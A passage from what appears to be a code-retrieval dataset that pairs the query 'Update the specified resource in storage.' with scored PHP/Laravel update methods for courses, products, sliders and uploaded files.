"score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5895823", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5895823", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5895823", "text": "public function printContent() {}", "title": "" } ]
a6d28bcfc1f5f0e5997ec3c010217bbe
Update the specified resource in storage.
[ { "docid": "8f70f31f5aa6c1784c69bbec214b1160", "score": "0.0", "text": "public function update(Request $r, $id)\n {\n $validator = Validator::make($r->all(), [\n 'courseName' => 'required',\n 'instructor' => 'required',\n 'instructorDesc' => 'required',\n 'pillars' => 'required',\n 'price' => 'required',\n 'courseTime' => 'required',\n 'courseDate' => 'required',\n 'timeCourse' => 'required',\n 'payment_method' => 'required',\n 'international_account' => 'required',\n 'local_account' => 'required',\n ]);\n if($validator->fails()){\n return back()->withInput()->withErrors($validator);\n }else{\n $update = Course::find($id);\n if(empty($update))\n return redirect('admin/courses');\n $update->courseName = $r->get('courseName');\n $update->instructor = $r->get('instructor');\n $update->instructorDesc = $r->get('instructorDesc');\n $update->pillars = $r->get('pillars');\n $update->price = $r->get('price');\n $update->courseTime = $r->get('courseTime');\n $update->courseDate = $r->get('courseDate');\n $update->timeCourse = $r->get('timeCourse');\n $update->payment_method = $r->get('payment_method');\n $update->international_account = $r->get('international_account');\n $update->local_account = $r->get('local_account');\n if($r->has('instructorImage'))\n $update->instructorImage = uploadNow('instructorImage', $r);\n if($r->has('image_bank'))\n $update->image_bank = uploadNow('image_bank', $r);\n $update->admin_id = 1; \n $update->save();\n }\n return redirect()->route('courses.index');\n // $courses = Course::find($id);\n // $courses->courseName = $request->input('courseName');\n // $courses->instructor = $request->input('instructor');\n // $courses->instructorDesc = $request->input('instructorDesc');\n // $file = $request->file('instructorImage');\n // $destinationPath = public_path(). '/uploads/';\n // $filename = $file->getClientOriginalName();\n // $file->move($destinationPath, $filename);\n // $courses->instructorImage = $filename;\n // $courses->pillars = $request->input('pillars');\n // $courses->price = $request->input('price');\n // $courses->courseTime = $request->input('courseTime');\n // $courses->courseDate = $request->input('courseDate');\n // $courses->timeCourse = $request->input('timeCourse');\n // $courses->payment_method = $request->input('payment_method');\n // $file2 = $request->file('image_bank');\n // $destinationPath2 = public_path(). '/uploads/';\n // $filename2 = $file2->getClientOriginalName();\n // $file2->move($destinationPath2, $filename2);\n // $courses->image_bank = $filename2;\n // // if($request->has('image_bank'))\n // // $courses->image_bank = uploadNow('image_bank', $request);\n // $courses->international_account = $request->input('international_account');\n // $courses->local_account = $request->input('local_account');\n // $courses->admin_id = Auth::guard('admin')->user()->id;\n // $courses->save();\n // return redirect()->route('courses.index');\n }", "title": "" } ]
[ { "docid": "3e3a565a181db6f795f079d1dfb01f75", "score": "0.7099585", "text": "public function update(Resource $resource, $id)\n {\n //\n }", "title": "" }, { "docid": "fb65b4f4d55e024e7f1613af273a55f2", "score": "0.6775597", "text": "public function update(Request $request, Resource $resource)\n {\n //Validate request\n $this->validate($request, [\n 'name' => 'required|max:255',\n 'url' => 'required|max:255',\n 'description' => 'required|max:10000',\n 'tags.*' => 'exists:tags,id',\n 'is_published' => 'required|boolean'\n ]);\n $resource_previous_unpublished = !$resource->is_published;\n //Create the resource\n $resource->update([\n 'name' => $request->name,\n 'url' => $request->url,\n 'description' => $request->description,\n 'is_published' => $request->is_published\n ]);\n //Drop the tags from the pivot table. Add the updated ones\n $resource->tags()->detach();\n //Add the tags for this resource to the pivot table\n $resource->tags()->attach($request->tags);\n $responseText = 'Resource updated';\n $responseText .= $resource_previous_unpublished && $request->is_published ? ' and published' : '';\n //Take them back to the resource form so they can add more resources\n return back()->with('success', $responseText);\n }", "title": "" }, { "docid": "2a532e323886cdeee4fdc191ad2a127e", "score": "0.64721876", "text": "public function update(ResourceRequest $request, Resource $resource)\n {\n //\n\t\t\t\t$resource->name= $request->name;\n\t\t\t\t$resource->url= $request->url;\n\n\t\t\t\t\treturn response()->json([\n\t\t\t\t\t\t'updated'=>$resource->save()\n\t\t\t\t\t]);\n }", "title": "" }, { "docid": "61a34fcd66242862e9a967402e4ff514", "score": "0.6267246", "text": "private function updateResource($resource, $inputs )\n {\n \n // if(isset($inputs['category_id'])){\n // $model->categories()->sync($inputs['category_id']);\n // } else {\n // $model->categories()->sync([]);\n // }\n return $resource->update($inputs);\n\n }", "title": "" }, { "docid": "a4a8c199770b8cc35d56a67cd9297225", "score": "0.62659985", "text": "public function update($storageName, $key, array $data);", "title": "" }, { "docid": "37aa707a5d1cf3d2b73c5d32bea86169", "score": "0.62426656", "text": "public function update($resource, array $data)\n {\n $this->validate($data, $resource);\n return $resource->update($data);\n }", "title": "" }, { "docid": "4c22c400891589f8da5573f60cdc4ea0", "score": "0.61376035", "text": "public function update(Request $request, Resource $resource)\n {\n $validator = Validator::make($request->all(),[\n 'wbs' => 'required',\n 'tipo_recurso' => 'required',\n 'cantidad' => 'required',\n 'comentarios' => 'required',\n 'vision_estrategica' => 'required'\n\n ]);\n if ($validator->fails()) {\n return response()->json(['Error'],404);\n\n }else{\n $resource->wbs = $request->wbs;\n $resource->tipo_recurso = $request->tipo_recurso;\n $resource->cantidad = $request->cantidad;\n $resource->comentarios = $request->comentarios;\n $resource->vision_estrategica = $request->vision_estrategica;\n \n $resource->save();\n return response()->json($resource);\n }\n }", "title": "" }, { "docid": "cb421444658bf63523d9239cfdb2c091", "score": "0.6102644", "text": "public function update(StorageRequest $request, $id)\n {\n try {\n $this->service->updateStorage($request, $id);\n return $this->NoContent();\n } catch(EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "title": "" }, { "docid": "40c721acddd9f92cbdc47e322ae39955", "score": "0.60837495", "text": "public function update(Request $request, $id)\n {\n // dd($request->all());\n if($storage = Storage::find($id))\n {\n if( $storage->update( $request->all() ) )\n {\n if($request->storage_items)\n $storage->item()->sync($request->storage_items);\n else\n $storage->item()->sync([]);\n return redirect()->back();\n }\n }\n return redirect()->back();\n }", "title": "" }, { "docid": "fae18446ab6ba766002815d7efd6d0f2", "score": "0.60153604", "text": "public function updateStream($resource)\n {\n return $this->filesystem->updateStream($this->path, $resource);\n }", "title": "" }, { "docid": "1342fca6bb741918e9de91960e422b72", "score": "0.59302443", "text": "public function dispatchOnPostUpdateResource($resource);", "title": "" }, { "docid": "4c33901004c334e4edd8b45955f45ed2", "score": "0.5906145", "text": "public function sliderUpdate(SliderUpdateRequest $request, $id)\n {\n\n $slider=Slider::find($id);\n /* dd($service); */\n $input= $request->all();\n\n if($request->hasFile('image')) {\n if($request->image==$slider->image){\n $input['image']=$slider->image;\n }else{\n $fileName=$request->file('image')->store('slider','public');\n\n $input['image'] =$fileName;\n \n @unlink('storage/'.$slider->image);\n }\n } else {\n\n $input['image']=$slider->image;\n\n }\n $slider->update([\n 'title'=>$request->title,\n 'image'=>$input['image'],\n ]);\n /* dd($service); */\n\n return new SliderResource($slider);\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5890722", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "70f839d67344487e3780c8ca780ec59c", "score": "0.5876995", "text": "public function store(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "cc850ce20ed7c56b132541ba822c9777", "score": "0.5832923", "text": "public function update(Request $request, $id)\n {\n //\n $data = $request->all();\n $request->validate([\n 'title' => 'required|max:255',\n 'description' => 'required',\n 'resource' => 'file|mimes:pdf,doc,docx,xls,xlm,xla,xlc,xlt,xlw,ppt,pps,pot'\n ]);\n\n $eLibrary = ELibrary::findOrFail($id);\n\n /*Photo*/\n if($request->hasFile('resource') && $request->file('resource')->isValid()){\n $file = $request->file('resource');\n $filename = $data['title'] . '_' . time().'.'.$file->extension();\n $path = $file->storePubliclyAs('public/uploads/eLibrary',$filename);\n if($eLibrary->path) {\n if (Storage::exists($eLibrary->path)) Storage::delete($eLibrary->path);\n }\n $data['path'] = $path;\n }\n if($eLibrary->update($data)){\n Session::flash('alert-success',\"The E-Library resource '$eLibrary->title' has been updated\");\n }else{\n Session::flash('alert-danger',\"The E-Library resource '$eLibrary->title' could not be updated. Please contact support.\");\n }\n return redirect('admin/eLibrary');\n }", "title": "" }, { "docid": "2cf80d6b1d66cb9fd56bf8c18c026e8f", "score": "0.5824176", "text": "public function update(Request $request, $id)\n {\n $path = Product::find($id)->filename;\n $filename = $request->file('image');\n\n if(!($filename === null)) {\n $path = $request->file('image')->store('id/'.$request->input('user_id').'/products/images', 's3');\n }\n\n Product::find($id)->update([\n 'name' => $request->input('name'),\n 'description' => $request->input('description'),\n 'price' => $request->input('price'),\n 'amount' => $request->input('amount'),\n 'filename' => basename($path),\n 'url' => Storage::disk('s3')->url($path),\n ]);\n return redirect()->route('products.index');\n\n\n\n\n\n\n\n\n\n\n }", "title": "" }, { "docid": "5a86878bd33a53b3ba502d5fdbe620c5", "score": "0.5785152", "text": "public function update(Request $request, $id)\n {\n $image= Image::find($id);\n\n $image->nom=$request->nom;\n $image->src=$request->file('src')->hashName();\n $image->tag_id=$request->tag_id;\n \n\n $image->save();\n\n Storage::disk('public')->delete('img/' . $image->src);\n\n $request->file('src')->storePublicly('img','public');\n\n return redirect()->back();\n }", "title": "" }, { "docid": "07c7bceecf971da3d703020e3b86857c", "score": "0.57805496", "text": "public function update ($data) {}", "title": "" }, { "docid": "07c7bceecf971da3d703020e3b86857c", "score": "0.57805496", "text": "public function update ($data) {}", "title": "" }, { "docid": "13371e530c9d042503b3d48fe48307cc", "score": "0.57676524", "text": "private function update()\n {\n Cache::put(static::class . $this->uuid, $this->data(), 30);\n }", "title": "" }, { "docid": "ee990a961940ba1d9bcbdf2c6d36091f", "score": "0.57527846", "text": "function update_instance($resource) {\n $this->_postprocess($resource);\n return parent::update_instance($resource);\n }", "title": "" }, { "docid": "7fa7323735ca22c15cfa4866e023dcb7", "score": "0.57337505", "text": "public function setResource($resource);", "title": "" }, { "docid": "1a87e148e066a4886de60512f8e08a52", "score": "0.57288736", "text": "public function update(ShareRequest $request, $id)\n {\n $share = Share::find($id);\n $share->share_name = $request->get('share_name');\n $share->share_price = $request->get('share_price');\n $share->share_qty = $request->get('share_qty');\n $share->save();\n if ($share->image) {\n unlink(public_path('storage/') . $share->image);\n }\n $this->storeImage($share);\n return redirect('/shares')->with('success', 'Stock has been updated');\n }", "title": "" }, { "docid": "b8fe0c7f15bb7a13ab10f71ffcd06156", "score": "0.5697465", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n \n $product->stocks = $request->stock;\n \n $product->save();\n \n return redirect()->route('inventory.index'); \n }", "title": "" }, { "docid": "e298ed6e92031fa9134c5a6ed2507d24", "score": "0.5691853", "text": "public function update($object);", "title": "" }, { "docid": "e298ed6e92031fa9134c5a6ed2507d24", "score": "0.5691853", "text": "public function update($object);", "title": "" }, { "docid": "e6fb42d6286b3f4fe6f14fab49db4173", "score": "0.56730545", "text": "public function update(Request $request, $id)\n {\n if($request->has('new_image')) {\n\n $product = Product::where('id',$id)->first(); \n\n $old_image = $product->image;\n unlink($old_image);\n\n\n $file = $request->file('new_image');\n $name = Str::random(10);\n $url = \\Storage::putFileAs('images',$file, $name . '.' .$file->extension());\n\n $data = array();\n $data['name'] = $request->name;\n $data['price'] = $request->price;\n $data['image'] = $url;\n\n $update = DB::table('products')->where('id',$id)->update($data);\n\n\n\n } else {\n $product = Product::find($id);\n $product->update($request->only('name','price'));\n }\n\n return redirect()->back()->with(\"status\",\"Successfully Updated\");\n\n\n\n }", "title": "" }, { "docid": "09bd4dd53076527911b91beb82f9c3a4", "score": "0.56539524", "text": "public function update(Request $request, $id)\n {\n //\n $product_data=request()->except(['_token','_method']);\n \n if ($request->hasFile('Image_path')) {\n # code...\n $product = Products::findOrFail($id);\n Storage::delete('public/'.$product->Image_path);\n $product_data['Image_path']=$request->file('Image_path')->store('uploads', 'public');\n \n }\n Products::where('id','=',$id)->update($product_data);\n\n //$product = Products::findOrFail($id);\n //return view('products.edit', compact('product'));\n return redirect('productos')->with('Message','Producto modifiado con exito.');\n }", "title": "" }, { "docid": "d1bfc26f51571559d08876ca1ee1e3c3", "score": "0.565382", "text": "public function updateStream($path, $resource, $config = null)\n {\n return $this->uploadStream($path, $resource, WriteMode::force());\n }", "title": "" }, { "docid": "97e4ce8ade6b1dc2b2b25f72334eb18d", "score": "0.5636433", "text": "public function dispatchOnPreUpdateResource($resource);", "title": "" }, { "docid": "318b6ff187eaf08454a3d0857e9aca4d", "score": "0.56295455", "text": "public function updateStream($path, $resource, array $config)\r\n\t{\r\n\t\t$res = $this->cloudDrive->uploadStream($resource, $path, true);\r\n\r\n\t\treturn $res['success'];\r\n\t}", "title": "" }, { "docid": "8576d995f0ad5fb05e24f4249f91de06", "score": "0.56251395", "text": "public function update() {\n $this->save();\n }", "title": "" }, { "docid": "fef6f84766f65b55a5b2d09f06bbe894", "score": "0.56153053", "text": "public function update(model $acl_resource, array $info) {\n\n // Update record\n return parent::_update($acl_resource, $info);\n }", "title": "" }, { "docid": "4a62a78ed2019e37a1f11273a9e45c02", "score": "0.55921906", "text": "public function putAction() {\n $token = $this->_getParam('token', 0);\n $id = $this->_getParam('id', 0);\n if (ZendX_Utilities_SecurityWSCheck::isValid($token)) {\n $id = $this->_getParam('id', 0);\n\n $this->view->id = $id;\n $this->view->params = $this->_request->getParams();\n $this->view->message = sprintf('Resource #%s was Updated', $id);\n $this->_response->ok();\n } else {\n// $this->view->message = sprintf('Forbidden', $id);\n $this->_response->forbidden();\n }\n }", "title": "" }, { "docid": "a67ff3295306d457a45d5bfd402b9bbf", "score": "0.55851954", "text": "public function update(Request $request, $id)\n {\n $result=Slider::find($id);\n\n $result->name=$request->name;\n $result->desc=$request->desc;\n $result->price=$request->price;\n\n if ($request->hasFile('img')) {\n $file=$request->img->store('upload', 'public');\n $result->img=$file;\n }else{\n $errors=\"File not set\";\n return redirect()->back()\n ->withInput($request->input())\n ->with(\"msgError\", $errors);\n }\n\n $result->save();\n\n if ($result) {\n return redirect('show/slider')->with('message', 'Product updated successfully!');\n }\n else{\n return redirect()->back()->withInput($request->input())\n ->with('msgError', 'Record do not update in database!');\n }\n\n }", "title": "" }, { "docid": "4016847dea9b55e59a4acd18600a30f5", "score": "0.55813426", "text": "public function update($request, $id);", "title": "" }, { "docid": "4016847dea9b55e59a4acd18600a30f5", "score": "0.55813426", "text": "public function update($request, $id);", "title": "" }, { "docid": "4016847dea9b55e59a4acd18600a30f5", "score": "0.55813426", "text": "public function update($request, $id);", "title": "" }, { "docid": "d6f71bb85fc7a75982a80e5421b6054e", "score": "0.55763113", "text": "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n\n $product->product_name = $request->product_name;\n $product->product_description = $request->product_description;\n $product->brand_id = $request->brand_id;\n $product->product_price = $request->product_price;\n $product->area_id = $request->area_id;\n $product->subcategory_id = $request->subcategory_id;\n $product->condition = $request->condition;\n\n // if($request->hasFile('product_image'))\n // {\n // $path = $request->product_image->store('images');\n // // $product->product_image = $request->product_image->hashName();\n // }\n // }\n\n $product->save();\n\n flash('Product successfully updated')->success();\n\n return redirect()->route('products.edit',$product->id);\n\n }", "title": "" }, { "docid": "b9d5c9b5a3c8b34eb93904bd4bc5dfc1", "score": "0.55740935", "text": "public function update($id, StoreSliderRequest $request)\n {\n $slider = Slider::find($id);\n $input = $request->all();\n $slider->fill($input);\n\n if(Input::file('image')){\n $file = Input::file('image');\n $filename = time().'-'.$file->getClientOriginalName();\n $directory = $slider->getPath();\n $file->move($directory, $filename);\n $slider->image = $directory.$filename;\n #ImageCompress::tinifyImage($slider->image);\n }\n\n $slider->save();\n\n return redirect()->route('admin.slider.index');\n }", "title": "" }, { "docid": "6ec0972709d8081c8584eadfdebd73e3", "score": "0.55724585", "text": "public function put($resource, array $args = [], array $options = []) {\n return $this->do('PUT', $resource, $args, $options);\n }", "title": "" }, { "docid": "720aa13d6dd5abab4700c72fc5726f2f", "score": "0.55704945", "text": "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n\n $product->product_name = $request->product_name;\n $product->product_description = $request->product_description;\n $product->product_price = $request->product_price;\n $product->condition = $request->condition;\n $product->brand_id = $request->brand_id;\n $product->state_id = $request->state_id;\n $product->area_id = $request->area_id;\n // $product->category_id = $request->category_id;\n $product->subcategory_id = $request->subcategory_id;\n\n if ($request->hasFile('product_image')) {\n\n $path = $request->product_image->store('public/uploads');\n\n $product->product_image = $request->product_image->hashNAme();\n\n }\n\n $product->save();\n\n Alert::success('Product succesfully updated!')->autoclose(4000);\n\n // flash('Product succesfully updated')->overlay();\n\n return redirect()->route('admin.products.index');\n\n\n\n }", "title": "" }, { "docid": "e186357e6cd112ce0670460eed4e4946", "score": "0.55632365", "text": "public function update(UploadImageRequest $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n if ($request->hasFile('image')) {\n $filename = $request->file('image')->getClientOriginalName();\n $type = $request->file('image')->getClientOriginalExtension();\n $url = 'products/images/' . $product->id . '/' . $filename;\n\n $image = Image::make($request->file('image'))->resize(150, 150)->encode($type);\n Storage::disk('s3')->put($url, (string)$image, 'public');\n\n $product->update([\n 'image' => $url,\n ]);\n }\n $product->update([\n 'name' => $request->name,\n 'cost' => $request->cost,\n 'category_id' => $request->category,\n 'description' => $request->description,\n 'quantity' => $request->quantity,\n ]);\n $product->save();\n return redirect()->route('admin.product-administration.show', $product->id);\n }", "title": "" }, { "docid": "0af57b3d439623d9ddfbbd2c23e24b1f", "score": "0.55599797", "text": "public function update($id, $data);", "title": "" }, { "docid": "c6efa075535fbc725da4b180e4ec737b", "score": "0.55501103", "text": "public function update(Request $request, $id)\n {\n if ( Auth::user()->userrole != \"Admin\") {\n return abort(401, 'Access Denied');\n }\n\n $article = Product::where('id',$id)->first(); \n $article->name = request('name');\n $article->sub_title = request('sub_title');\n $article->title = request('title');\n $article->title1 = request('title1');\n $article->title2 = request('title2');\n $article->title3 = request('title3');\n $article->content1 = request('content1');\n $article->content2 = request('content2');\n $article->content3 = request('content3');\n $article->button_text = request('button_text');\n $article->button_link = request('button_link');\n $article->description = request('description');\n $article->slug = Str::slug(request('title'), '-'); \n $article->active = request('active');\n\n // Store uploaded file...\n if($request->hasFile('image')) { \n $file = $request->file('image'); \n $imageName = time().'-'.$file->getClientOriginalName();\n $request->image->storeAs('public/products', $imageName); \n $article->image = $imageName; \n }\n\n $article->save(); \n\n return redirect()->route('admin.product.index');\n }", "title": "" }, { "docid": "8333f02674e0537622e556ed30714d92", "score": "0.5541451", "text": "protected function put()\n {\n \\throw_if(!$this->request->isJson(), new RestfulException(RestfulErrorMessage::InvalidJsonHeader));\n if ($this->restfulRequest->resourceId) {\n $document = null;\n try {\n $document = $this->_get();\n } catch (\\Exception $e) {\n // ...\n }\n return \\response(\n $this->_repository->replace($document, $this->restfulRequest->resourceId, $this->request->json()->all())\n );\n }\n if ($this->payloadIsAttributeSet()) {\n return \\response(\n $this->_repository->batchReplace($this->getFindOption(), $this->request->json()->all())\n );\n }\n throw new RestfulException(RestfulErrorMessage::InvalidRequestPayload);\n }", "title": "" }, { "docid": "a4b00c57c46ebcebca149c23c5beb30a", "score": "0.55269605", "text": "public function update(Request $request, $id)\n {\n $item = Items::find($id);\n $item->fill($request->all());\n\n// if (Input::file()) {\n// $filename = $request->file('image')->store('public');\n// $path = substr($filename, 7);\n// $item->image = $path;\n// }\n\n $item->update();\n return redirect()->route('items.index');\n }", "title": "" }, { "docid": "2d0234add8ac70bdf3ff13a1dc54eddc", "score": "0.5521795", "text": "public function updateStockAction()\n {\n $this->checkAdmin();\n $inStockid = intval($this->route['id']);\n $quantity = intval($this->route['amount']);\n if ($quantity == 0)\n $this->model->deleteStockById($inStockid);\n else\n $this->model->updateStockById($inStockid, $quantity);\n }", "title": "" }, { "docid": "550e477a9a956b28304b535c2916ad5c", "score": "0.55201524", "text": "public function update(Request $request, $id)\n {\n $this->validate($request, [\n \"title\" => 'required',\n \"product_id\" => 'sometimes',\n \"button_text\" => 'sometimes',\n \"button_link\" => 'sometimes',\n \"priority\" => 'required',\n \"image\" => 'sometimes|file|image|max:3000',\n ]);\n $slider = Slider::find($id);\n $slider->title = $request->title;\n $slider->product_id = $request->product_id;\n $slider->button_text = $request->button_text;\n $slider->button_link = $request->button_link;\n $slider->priority = $request->priority;\n\n if (request()->hasFile('image')) {\n if (File::exists('storage/' . $slider->image)) {\n File::delete('storage/' . $slider->image);\n }\n\n $path = $request->file('image')->store('sliders', 'public');\n $slider->image = $path;\n }\n $slider->save();\n $sliders = Slider::all();\n session()->flash('flash_message_success', 'You have updated a slider successfully!');\n return redirect()->route('admin.sliders')\n ->with(compact('sliders'));\n\n }", "title": "" }, { "docid": "416eb5614de4e6fedf65c1c8ec3c5924", "score": "0.5518426", "text": "public function update(Request $request, $id)\n {\n $request->validate([\n 'name'=>'required',\n 'category_id'=>'required|integer',\n 'status'=> 'required|boolean',\n 'picture'=> 'required',\n 'gender' => 'required',\n ]);\n $pic = null;\n if ($request->hasFile('picture')) {\n\n $image = $request->file('picture');\n $name = uniqid().'.'.$image->getClientOriginalExtension();\n $destinationPath = public_path('/images');\n $image->move($destinationPath, $name);\n $pic = \"images/{$name}\";\n }\n $product = \\App\\Product::find($id);\n $product->name = $request->get('name');\n $product->category_id = $request->get('category_id');\n $product->status = $request->get('status');\n $product->picture = $pic;\n $product->gender = $request->get('gender');\n $product->save();\n\n return redirect('/products')->with('success', 'Stock has been updated');\n\n\n }", "title": "" }, { "docid": "9e68af5ab6e6fd50f6b3af43fa9adffb", "score": "0.5518285", "text": "public function update(Request $request, $id)\n {\n //\n\n $specialOffers = SpecialOffer::find($id);\n $specialOffers->product_title = $request->sliderTitle;\n $specialOffers->product_price = $request->sliderDetails;\n $specialOffers->product_available = $request->productPrice;\n $specialOffers->product_sold = $request->product_sold;\n \n \n if($request->file('image')){\n $image = $request->file('image');\n Storage::putFile('public/img/',$image);\n $specialOffers->image =\"storage/img/\".$image->hashName();\n }\n $specialOffers->save();\n \n return redirect()->route('admin.specialOffers.create')->with('success','specialOffers details updated Successfully');\n }", "title": "" }, { "docid": "a66a502d0331860b0492d8521d8dc6fc", "score": "0.551738", "text": "public function update(Request $request, $id)\n {\n $slider = Slider::find($id);\n $data = $request->all();\n if ($request->hasFile('imagen')) {\n $data['imagen'] = $request->file('imagen')->store('slides','public');\n\n $exists = Storage::disk('sliders')->exists($slider->solo_imagen);\n if($exists)\n Storage::delete(\"/public/$slider->imagen\");\n\n }\n $slider->fill($data);\n $slider->save();\n return redirect()->route('admin.slider.index');\n\n }", "title": "" }, { "docid": "864750e43aa4e758ff3496700f1f1f1e", "score": "0.55164015", "text": "public function update(Request $request, Path $path)\n {\n //\n \n $data = $request->all();\n \n if($request->file('image')){\n $data['image'] = $request->file('image')->store('assets/path', 'public');\n }\n\n $path->update($data);\n \n return redirect()->route('paths.index');\n }", "title": "" }, { "docid": "59cc7aa6a27c614e6dbea168303030cb", "score": "0.5510812", "text": "public function update(Request $request, Memory $memory)\n {\n //\n }", "title": "" }, { "docid": "963320c6c8e6f19972872f0c66fe30e0", "score": "0.5508141", "text": "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('public/products');\n Storage::delete($product->image);\n }\n $product->name = $request->name;\n $product->description = $request->description;\n $product->image = $image;\n $product->price = $request->price;\n $product->additional_info = $request->additional_info;\n $product->category_id = $request->category;\n $product->subcategory_id = $request->subcategory;\n\n $product->save();\n\n return redirect()->route('product.index')->with('message', 'Successfully updated the product');\n }", "title": "" }, { "docid": "60f3ddc323c30358e47d69e943e6dbaa", "score": "0.5501432", "text": "public function update(Request $request, $id)\n {\n\n extract($this->getResourceNames());\n\n $this->authorize('EDIT_' . $permissionKey);\n\n $item = $modelPath::findOrFail($id);\n\n $this->validateEditForm($request, $item);\n\n $item->update($request->all());\n\n $this->notify($resourceMultiple . '.edited');\n\n return redirect()->back();\n }", "title": "" }, { "docid": "f413999cfa6fd30cb481e60a58035e46", "score": "0.54997146", "text": "public function update(Request $request,$id)\n {\n $product=Product::find($id);\n $request->validate([\n \"name\"=>\"required\",\n \"category\"=>\"required\",\n \"description\"=>\"required\",\n \"price\"=>\"required|numeric\",\n \"stock\"=>\"required|numeric\",\n \"image\"=>\"required\"\n ]);\n if($request->hasFile('image')){\n $imgname=$request->image->getClientOriginalName(); \n if(Storage::exists($request->image)){\n $product->image=$imgname; \n }\n else{\n $request->image->storeAs('public',$imgname);\n $product->image=$imgname;\n }\n \n }\n $product->name=$request->name;\n $product->category_id=$request->category;\n $product->description=$request->description;\n $product->stock=$request->stock;\n $product->price=$request->price;\n $product->save();\n\n }", "title": "" }, { "docid": "8de839d3e9816fa894298a9064d231f4", "score": "0.5497475", "text": "function update($record) {\n\t\techo \"update called\";\n\t\t$this->rest->initialize(array('server' => REST_SERVER));\n\t\t$this->rest->option(CURLOPT_PORT, REST_PORT);\n\t\t$key = $record->{$this->_keyfield};\n\t\t$retrieved = $this->rest->put('/job/' . $key, $record);\n\t\t$this->load(); // because the \"database\" might have changed\n\t}", "title": "" }, { "docid": "4d6dd204fb19a2d6fc40011791b9128d", "score": "0.54963744", "text": "public function update(Request $request, $id)\n {\n //\n $promotion = Promotion::findOrFail($id);\n\n if ($request->hasFile('photo')) {\n $photo = $request->photo;\n\n $path = 'images/promotion';\n $filename = $id . '.' . $photo->extension();\n $photo->storeAs($path, $filename);\n\n $promotion->image = 'storage/app/public/' . $path . '/' . $filename;\n }\n\n $input = $request->all();\n\n $validField = $promotion->fillable;\n\n foreach ($input as $key=>$data) {\n if (in_array($key, $validField)) {\n $promotion[$key] = $data;\n }\n }\n\n $promotion->save();\n\n return new PromotionResource($promotion);\n\n }", "title": "" }, { "docid": "01d7e90eb4d4834e12b31486f04ab3c2", "score": "0.5493121", "text": "public function update(Request $request)\n {\n $feature=Feature::find($request->id);\n if($request->hasFile('feature_icon')) {\n $file_name = time().'.'.$request->feature_icon->extension(); \n $path = $request->file('feature_icon')->storeAs('public/feature_icons',$file_name);\n $feature->feature_icon=$file_name;\n $Image = str_replace('/storage', '', $request->old_image);\n #Using storage\n if(Storage::exists('public/feature_icons/' . $Image)){\n $delete= Storage::delete('/public/feature_icons/' . $Image);\n }\n } \n $feature->feature_name=$request->feature_name;\n $feature->updated_at=date('Y-m-d H:m:s');\n $feature->update();\n alert::success('feature Updated Successfully');\n return redirect()->back();\n\n }", "title": "" }, { "docid": "f7f83699cca8c8d4920c525dc392587d", "score": "0.54910034", "text": "public function update(UpdateProductRequest $request, $id)\n {\n\n $data = $request->all();\n $product = Product::find($id);\n\n $path = null;\n if ($request->file('image')) {\n $path = $request->file('image')->store('public/products');\n // @unlink('storage/'. $product->image);\n $data['image'] = $path;\n }\n\n\n $product->update($data);\n\n return redirect('/product');\n }", "title": "" }, { "docid": "2160be914cd287b1f331b462c6097a00", "score": "0.54888636", "text": "public function update(Request $request, $id)\n {\n // $this->authorize('haveaccess','producto.edit');\n $datosProductos=request()->except(['_token','_method']);\n\n if ($request->hasFile('imagen')) {\n\n $producto= Producto::findOrFail($id);\n\n Storage::delete('public/'.$producto->imagen);\n\n $datosProductos['imagen']=$request->file('imagen')->store('uploads/producto','public');\n }\n\n Producto::where('id','=',$id)->update($datosProductos);\n $valores['concesionado']=Null;\n $producto= Producto::findOrFail($id);\n $producto->fill($valores);\n $producto->save();\n return view('supervisor.producto.edit',compact('producto'));\n }", "title": "" }, { "docid": "b7260400d51b81b18b18934a92080461", "score": "0.5486164", "text": "public function update($id)\n\t{\n\t\t$powerful = Powerful::findOrFail($id);\n\n\t\t$rules = array(\n\t\t\t'name' => 'required',\n\t\t\t'icon' => 'image'\n\t\t);\n\t\t$validator = Validator::make($data = Input::all(), $rules);\n\n\t\tif ($validator->fails())\n\t\t{\n\t\t\treturn Redirect::back()->withErrors($validator)->withInput();\n\t\t}\n\n\t\t//upload powerful icon\n\t\tif( Input::hasFile('icon') ) {\n\t\t\t//delete old icon\n\t\t\tif( File::exists($powerful->icon) ) File::delete($powerful->icon);\n\t\t\t//create new icon\n\t\t\t$name = md5(time() . Input::file('icon')->getClientOriginalName()) . '.' . 